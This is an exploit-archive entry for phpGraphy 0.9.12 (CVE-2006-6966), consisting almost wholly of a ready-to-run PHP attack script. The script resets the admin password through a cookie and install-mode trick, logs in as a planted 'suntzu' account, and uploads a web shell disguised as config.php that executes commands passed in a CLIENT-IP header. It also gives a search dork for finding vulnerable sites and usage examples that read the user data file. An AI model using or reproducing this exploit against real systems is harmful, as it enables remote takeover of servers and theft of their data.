Exploit phpGraphy 0.9.12 - Privilege Escalation / Commands Execution

[Exploiter]

EDB-ID

2867

Проверка EDB

1. Пройдено

Автор

RGOD

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-6966

Дата публикации

2006-11-30

<?php
print_r('
---------------------------------------------------------------------------
PHPGraphy 0.9.12 Zend_Hash_Del_Key_Or_Index/privilege escalation/
/remote command execution exploit
by rgod
dork: intext:"This site is using phpGraphy" | intitle:"my phpgraphy site"
mail: [email protected]
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
');

/*
works against register_globals=on
*/

if ($argc<3) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to PHPGraphy
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /phpgraphy/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost / cat ./data/users.dat -p81
---------------------------------------------------------------------------
');
    die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//reset admin password...
//let's reactivate :) the *install mode* to do that
//you will be able to login with user -> suntzu, password -> suntzu
$data ="login=suntzu";
$data.="&password=suntzu";
$data.="&security_level=999"; //god
$data.="&uid=0";
$data.="&submit=Submit";
$packet ="POST ".$p."index.php?uid=0 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n";
$packet.="Referer: http://".$host.$path."index.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: mode=um; install_mode=1; 2095608056=1; -285023552=1; action=edit;\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(2);

//login as admin...
$data ="user=suntzu";
$data.="&pass=suntzu";
$data.="&dir=";
$data.="&rememberme=on";
$data.="&startlogin=1";
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."index.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: keep-alive\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
echo "cookie -> ".$cookie."\n";
sleep(1);

//upload the *evil* shell
//some tricks with "config" and "dir" to escape from the pictures/ dir, .htaccess protected
//you need a writable folder, if not succeeded try some of theese paths: ./themes, ./docs, ./base
//for "dir" argument, let's create a *fake* config.php in main folder
$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="pictures[]"; filename="config.php";

<?php set_time_limit(0);error_reporting(7);echo "my_delim"; passthru($_SERVER["HTTP_CLIENT_IP"]); echo "my_delim";?>
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="picupload"

1
-----------------------------7d61bcd1f033e--
';
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http:/".$host.$path."index.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: config=; -578819025=1; -747504677=1; dir=.; 2087386682=1; 2090185412=1; ".$cookie."\r\n";
$packet.="Connection: keep-alive\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

//launch commands...
$packet ="GET ".$p."config.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("my_delim",$html)){
    $temp=explode("my_delim",$html);
    echo $temp[1];
}
else {
    echo "exploit failed...";
}
?>

# milw0rm.com [2006-11-30]